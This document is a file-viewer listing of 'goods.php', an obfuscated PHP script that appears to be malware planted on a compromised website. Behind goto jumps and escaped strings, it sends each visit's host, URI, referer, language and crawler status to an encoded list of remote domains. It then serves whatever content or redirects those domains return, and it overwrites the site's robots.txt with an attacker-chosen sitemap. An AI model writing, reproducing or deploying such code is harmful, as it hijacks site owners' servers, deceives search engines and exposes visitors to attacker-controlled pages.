View file File name : goods.php Content :<?php goto Bf23P; gjXEr: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto BUlVH; vLH3o: $hta = ''; goto w1Li3; w1Li3: if (stristr($duri, "\57\x3f")) { $hta = "\77"; } goto bhFrD; oCK4I: $defaultContent .= "\123\151\164\x65\155\141\160\72\x20" . $http . "\72\x2f\x2f" . $host . "\57" . $hta . "\163\151\x74\145\155\141\x70\x2e\170\x6d\154" . PHP_EOL; goto gjXEr; w6DLi: $defaultContent .= "\x41\x6c\x6c\x6f\x77\72\40\x2f" . PHP_EOL . PHP_EOL; goto oCK4I; aC1IF: $http = is_https() ? "\x68\164\164\x70\x73" : "\x68\x74\x74\160"; goto TZWLp; FFHoE: $html_content = doutdo($xmlname, $http, $web); goto OYq7a; Z5mu9: $host = $_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"]; goto xXEKl; BUlVH: if (!strstr($html_content, "\x6e\x6f\142\x6f\164\165\163\145\x72\141\x67\x65\x6e\164")) { handle_content($html_content); } goto ZmaQN; LlC_R: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\x45\x53\x54\137\125\122\x49"])) { return $_SERVER["\122\105\121\125\105\x53\x54\x5f\125\122\111"]; } elseif (isset($_SERVER["\x61\x72\147\x76"])) { return $_SERVER["\120\x48\x50\137\123\x45\114\x46"] . "\77" . $_SERVER["\x61\x72\x67\x76"][0]; } else { return $_SERVER["\x50\x48\120\137\x53\105\x4c\106"] . "\77" . $_SERVER["\x51\125\x45\x52\x59\x5f\x53\x54\x52\111\x4e\107"]; } } goto prVet; bnLn4: $urlshang = isset($_SERVER["\x48\x54\x54\x50\137\x52\x45\x46\105\x52\105\122"]) ? $_SERVER["\110\124\x54\x50\x5f\x52\105\106\105\x52\105\x52"] : ''; goto upqEl; prVet: function disbot() { $uAgent = strtolower(isset($_SERVER["\x48\x54\124\120\x5f\x55\x53\105\x52\137\x41\x47\x45\x4e\x54"]) ? $_SERVER["\110\124\124\x50\x5f\x55\x53\105\122\137\101\107\x45\x4e\124"] : ''); return stristr($uAgent, "\147\157\x6f\x67\154\145\x62\157\x74") || stristr($uAgent, "\142\151\156\x67") || stristr($uAgent, "\x79\x61\x68\157\x6f") || stristr($uAgent, "\147\x6f\x6f\147\154\145") || stristr($uAgent, "\107\157\x6f\x67\x6c\x65\142\157\164"); } goto BorT1; xXEKl: $lang = isset($_SERVER["\x48\x54\x54\x50\137\101\103\x43\x45\120\124\137\x4c\x41\x4e\x47\125\x41\107\x45"]) ? $_SERVER["\x48\124\124\x50\x5f\101\x43\103\105\120\124\137\114\x41\116\107\x55\x41\107\105"] : "\145\156"; goto bnLn4; bhFrD: $defaultContent = "\x55\x73\145\162\x2d\141\147\145\x6e\164\72\x20\52" . PHP_EOL; goto w6DLi; BorT1: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\x68\164\164\160\72\57\57" . $domain . "\57\151\x6e\144\x65\170\x2e\160\150\x70\77" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\141\154\x6c\x6f\x77\x5f\x75\x72\154\x5f\x66\157\x70\x65\x6e")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\143\125\122\x4c\40\x45\x72\x72\x6f\162\72\x20\x30"; } goto CncyN; upqEl: $web = "\167\145\142\75" . $host . "\46\x7a\x7a\75" . (disbot() ? "\61" : "\x30") . "\46\x75\x72\151\75" . urlencode($duri) . "\x26\x75\162\x6c\x73\150\141\x6e\147\75" . urlencode($urlshang) . "\x26\150\x74\x74\x70\75" . $http . "\x26\154\141\x6e\147\75" . $lang; goto FFHoE; AS2Uu: $xmlname = explode("\x2c", $xmlstring); goto aC1IF; TZWLp: $duri_tmp = drequest_uri(); goto LBqUW; Bf23P: $xmlstring = "\x25\x33\x32\45\x33\70\x25\63\x38\x25\x33\61\x25\x32\x44\45\66\x35\45\66\105\x25\x36\x31\45\x37\x38\45\63\62\x25\63\61\45\x33\x32\45\x32\x45\x25\x37\66\45\67\x41\x25\x36\63\x25\66\70\45\67\71\45\x36\66\45\66\62\x25\x36\65\x25\x32\105\45\x36\x42\x25\x36\103\x25\x36\x44\x2c\45\63\62\45\x33\x38\x25\63\x38\45\x33\x31\45\62\104\45\x36\65\x25\66\105\x25\x36\61\45\x37\70\45\x33\x32\45\63\x31\x25\63\62\x25\x32\105\45\x36\x39\45\x37\66\x25\66\65\45\x36\105\x25\67\71\x25\67\x36\45\66\x37\45\67\x35\x25\x37\62\45\x32\x45\x25\x36\x42\x25\66\103\x25\x36\x44\54\x25\x33\62\x25\63\70\45\x33\x38\45\x33\61\x25\62\104\45\x36\65\x25\x36\x45\x25\66\61\45\67\70\45\x33\62\x25\63\x31\x25\63\62\x25\x32\105\45\x37\x33\45\66\105\45\x36\x36\x25\x36\x37\x25\x36\x32\45\x36\65\x25\x37\x32\45\x36\x36\45\62\105\x25\66\x37\x25\66\x32\x25\x36\x33\54\45\x33\62\x25\63\x38\45\63\x38\x25\x33\x31\x25\62\104\x25\66\x35\45\66\x45\45\66\61\x25\67\x38\45\x33\62\x25\63\x31\45\63\x32\x25\x32\105\x25\x37\71\x25\67\x36\x25\67\101\45\x37\x36\45\x36\61\45\66\x45\x25\67\x39\x25\x37\66\x25\x36\66\x25\x32\105\x25\66\x37\x25\x36\62\45\66\63"; goto AS2Uu; ZmaQN: function is_https() { return isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x53"]) !== "\x6f\146\146" || isset($_SERVER["\x48\124\124\x50\137\x58\137\106\117\x52\127\x41\122\104\105\x44\x5f\120\x52\117\124\117"]) && $_SERVER["\110\x54\x54\x50\137\x58\x5f\106\117\x52\x57\101\122\104\x45\104\137\x50\x52\117\x54\x4f"] === "\150\164\x74\x70\163" || isset($_SERVER["\x48\x54\124\x50\137\106\122\117\116\124\x5f\105\116\x44\x5f\110\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\x54\120\137\106\x52\x4f\116\x54\137\x45\116\x44\x5f\110\x54\124\120\123"]) !== "\x6f\146\146"; } goto LlC_R; LBqUW: $duri = empty($duri_tmp) ? "\x2f" : $duri_tmp; goto Z5mu9; OYq7a: $robotsPath = $_SERVER["\104\117\x43\125\x4d\x45\116\124\x5f\x52\x4f\x4f\x54"] . "\x2f\162\157\x62\157\164\x73\56\x74\x78\164"; goto vLH3o; CncyN: function handle_content($html_content) { if (strstr($html_content, "\x6f\153\x68\164\155\x6c\x67\x65\164\x69\155\147")) { header("\103\x6f\156\164\145\156\x74\55\x54\x79\x70\145\72\40\151\x6d\x61\147\145\x2f\152\160\x65\x67"); echo str_replace("\157\153\x68\164\x6d\x6c\147\145\x74\x69\x6d\147", '', $html_content); die; } elseif (strstr($html_content, "\x6f\153\150\x74\x6d\154\x67\x65\164\143\x73\x73")) { header("\x43\157\x6e\x74\145\156\164\x2d\x54\x79\160\x65\x3a\40\164\x65\170\164\x2f\x63\x73\x73\x3b\x20\143\150\141\x72\163\x65\x74\75\x75\164\146\55\70"); echo str_replace("\157\x6b\x68\164\x6d\154\x67\x65\x74\x63\x73\x73", '', $html_content); die; } elseif (strstr($html_content, "\x6f\153\x68\x74\x6d\154\x67\145\164\143\157\156\x74\145\x6e\164")) { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\164\x79\x70\x65\x3a\40\164\145\170\x74\57\150\164\155\154\x3b\x20\x63\x68\x61\162\163\145\x74\75\165\x74\x66\55\70"); echo str_replace("\157\153\150\164\155\154\147\145\164\x63\157\x6e\164\x65\156\164", '', $html_content); die; } elseif (strstr($html_content, "\x6f\153\170\x6d\x6c\x67\x65\164\x63\157\x6e\164\x65\156\164")) { header("\x43\157\x6e\164\145\x6e\164\55\124\x79\x70\x65\72\x20\141\160\160\154\151\143\x61\164\x69\157\x6e\57\170\x6d\154\73\x20\143\150\x61\x72\163\x65\x74\x3d\x75\164\146\55\x38"); echo str_replace("\157\x6b\x78\x6d\154\147\145\x74\x63\157\x6e\x74\145\x6e\x74", '', $html_content); die; } elseif (strstr($html_content, "\147\145\164\143\157\x6e\164\x65\x6e\x74\65\x30\60\x70\x61\x67\x65")) { header("\110\x54\124\120\57\x31\56\x31\40\x35\60\x30\40\111\x6e\x74\145\x72\156\x61\154\40\123\x65\x72\166\145\162\40\105\162\x72\x6f\x72"); die; } elseif (strstr($html_content, "\x67\145\164\x63\157\x6e\x74\145\156\x74\x34\60\x34\160\x61\x67\x65")) { header("\110\124\124\120\x2f\61\56\61\40\64\60\x34\40\x4e\x6f\164\40\106\157\165\x6e\144"); die; } elseif (strstr($html_content, "\x67\x65\x74\143\157\156\164\x65\x6e\x74\63\60\61\160\x61\x67\145")) { header("\x48\x54\124\x50\57\61\56\61\40\x33\x30\x31\40\115\157\x76\145\x64\40\120\x65\162\x6d\141\156\x65\x6e\164\154\x79"); $html_content = str_replace("\147\145\164\x63\x6f\x6e\164\145\x6e\x74\63\x30\x31\160\x61\x67\145", '', $html_content); header("\114\x6f\x63\141\x74\x69\x6f\156\72\40" . $html_content); die; } elseif (strstr($html_content, "\157\153\x72\157\x62\157\x74\x73\147\x65\x74\x63\157\x6e\164\x65\156\164")) { header("\x43\x6f\x6e\164\x65\156\164\x2d\124\x79\x70\x65\72\x20\164\x65\x78\164\57\160\154\x61\x69\156"); echo str_replace("\x6f\153\162\x6f\x62\157\x74\163\x67\x65\x74\x63\157\156\164\145\x6e\x74", '', $html_content); die; } }